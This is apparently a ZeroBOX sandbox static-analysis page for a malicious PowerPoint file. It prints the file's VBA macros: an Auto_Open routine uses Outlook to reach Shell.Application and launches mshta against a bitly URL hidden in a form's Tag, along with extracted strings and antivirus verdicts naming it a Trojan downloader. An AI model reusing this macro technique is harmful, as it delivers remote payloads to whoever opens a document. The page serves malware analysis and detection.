Static | ZeroBOX

Original


                                        Attribute VB_Name = "maviya"
Attribute VB_Base = "0{20B42A0E-6E47-4B8F-8AB7-ECBF4A41BEB7}{CC86DABF-4AD5-4E86-A295-8B9FC5032E3D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


                                    

Deobfuscated


                                        Attribute VB_Name = "maviya"
Attribute VB_Base = "0{20B42A0E-6E47-4B8F-8AB7-ECBF4A41BEB7}{CC86DABF-4AD5-4E86-A295-8B9FC5032E3D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


                                    

Original


                                        Attribute VB_Name = "massive"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FLIES()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set FLIES = Outlook.CreateObject("Shell.Application")


End Function

                                    

Deobfuscated


                                        Attribute VB_Name = "massive"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FLIES()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set FLIES = Outlook.CreateObject("Shell.Application")


End Function

                                    

Original


                                        Attribute VB_Name = "Module11"
Sub Auto_OpEn()
massive.FLIES.ShellExecute maviya.highground.ControlTipText, maviya.Tag
End _
Sub


                                    

Deobfuscated


                                        Attribute VB_Name = "Module11"
Sub Auto_OpEn()
massive.FLIES.ShellExecute maviya.highground.ControlTipText, maviya.Tag
End _
Sub


                                    
Module11
massive
maviya
ID="{00000000-0000-0000-0000-000000000000}"
Module=Module11
Class=massive
BaseClass=maviya
HelpFile=""
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="0C0EA0AAA0BEA4BEA4BAA8BAA8"
DPB="1C1EB0DAD0F7EDF7ED0813F8ED9E54B64A892C0FA828BE100422AA3FEBDF3ACFDDD43E70C9C9"
GC="2C2E80CA80DB81DB81DB"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Module11=471, 291, 1726, 940,
massive=60, 137, 1315, 786,
maviya=0, 0, 0, 0, C, 64, 64, 1319, 713,
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} maviya
Caption = "UserForm1"
ClientHeight = 3168
ClientLeft = 48
ClientTop = 396
ClientWidth = 4704
StartUpPosition = 1 'CenterOwner
Tag = """https://www.bitly.com/jfklsdjfsgyfsdh
gfjksdh"""
TypeInfoVer = 3
Microsoft Forms 2.0 Form
Embedded Object
Forms.Form.1
Tahoma
highgroundi
"mshta"u
PowerPoint
Win64x
Project1
stdole
VBAProject
Office
Module1b
_Evaluate
part10
Module2c
Module11V
Auto_OpEnV
Sheet2
microsoft
ShellExecute
ControlTipText8
Class1
Outlook,V
CreateObject
MSFormsC
UserFormN
_B_var_Outlook
maviya
highgroundU5
massive;
Auto_CloSew
Attribut
e VB_Nam
e = "Mod
ule11"
Sub Auto
_OpEn()
massive
.FLIES.S
hellExec
maviya.
highgrou
nd.Contr
olTipTex
maviya
Module11
massive
VBAProject
C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB
PowerPoint
C:\Windows\SysWOW64\stdole2.tlb
stdole
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
C:\Windows\SysWOW64\FM20.DLL
MSForms
C:\Users\MASTER~1\AppData\Local\Temp\VBE\MSForms.exd
Auto_Open
highground
UserForm
F3Dynamic
VBInternal
VBE7.DLL
Auto_CloSe
Auto_OpEn
Outlook.Application
Shell.Application
Attribut
e VB_Nam
e = "mas
FB3D2A-A
0FA-1068
-A738-08
002B3371
False
dCr@eatabl
redecla
BE`xpose
emplateD
ction FL
et Outlo
eObject(
.Appli
Attribut
e VB_Nam
e = "mav@iya"
t0{20B
42A0E-6E
47-4B8F-
8AB7-ECB
F4A41BEB
7}{CC86D
ABF-4AD5
-4E86-A2
95-8B9FC
5032E3D}
Global
lateDeri
Custom
VBAPr@oject
9stdol
{0002043
0046}#2.
0#0#C:\W
indows\S
ysWOW64\
e2.tlb#O
LE Autom
E Offic
E2DF8D
04C-5BFA
-101B-BD
Files (x
86)\Comm
osoft Sh
ared\OFF
ICE16\MS
O.DLL#
16.0 Ob
LibrarFy
SForms>
D452EE@1-E08F
8C4D0BB4a
TFM20L'B
r00}t#0
B93C01-2
D3F-409A
-BE15-AD
9962DEF6
6Users
\MASTER~
1\AppDat
a\Local\
Temp\VBE
TmassiveVG
Widescreen
Calibri
Calibri Light
Office Theme
Fonts Used
Slide Titles
Dawn Hawk
support
Microsoft Office PowerPoint
Root Entry
maviya
PROJECT
PROJECTwm
CompObj
1Module11
emassive
amaviya
VBFrame
maviya
massive
__SRP_0
__SRP_1
__SRP_2
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
Module11
_VBA_PROJECT
SummaryInformation
DocumentSummaryInformation
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{91493440-5A91-11CF-8700-00AA0060263B}#2.c#0#C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB#Microsoft PowerPoint 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\Windows\SysWOW64\FM20.DLL#Microsoft Forms 2.0 Object Library
*\G{41B93C01-2D3F-409A-BE15-AD9962DEF6B5}#2.0#0#C:\Users\MASTER~1\AppData\Local\Temp\VBE\MSForms.exd#Microsoft Forms 2.0 Object Library
maviya
0g635eaf7a
maviya
Module11
0d635eaf66
Module11
massive
0Z635eab7c
massive
$*\Rffff*0d635eaf66
$*\Rffff*0Z635eab7c
*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#..\..\..\..\Windows\SysWOW64\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#26
$*\Rffff*0g635eaf7a
ShellExecute
Outlook.Application
Shell.Application
CreateObject
N0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}
$*\Rffff*0Z635eab7c
*\R0*#17
0{20B42A0E-6E47-4B8F-8AB7-ECBF4A41BEB7}{CC86DABF-4AD5-4E86-A295-8B9FC5032E3D}
$*\Rffff*0g635eaf7a
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.a!c
Cynet Clean
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5266
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren PP97M/Agent.ADH.gen!Eldorado
ESET-NOD32 VBA/TrojanDownloader.Agent.WUZ
TrendMicro-HouseCall TROJ_FRS.VSNTJI21
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender VB:Trojan.Valyria.5266
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.5266
Tencent Clean
Ad-Aware VB:Trojan.Valyria.5266
Emsisoft VB:Trojan.Valyria.5266 (B)
Comodo Clean
F-Secure Clean
DrWeb Exploit.Siggen3.21344
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye VB:Trojan.Valyria.5266
Sophos Clean
SentinelOne Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft TrojanDownloader:O97M/Powdow.PDS!MTB
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D1492
ViRobot Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
GData VB:Trojan.Valyria.5266
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
McAfee RDN/Generic Downloader.x
MAX malware (ai score=87)
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Win32.SuspectCrc
MaxSecure Clean
Fortinet VBA/Valyria.5266!tr
BitDefenderTheta Clean
No IRMA results available.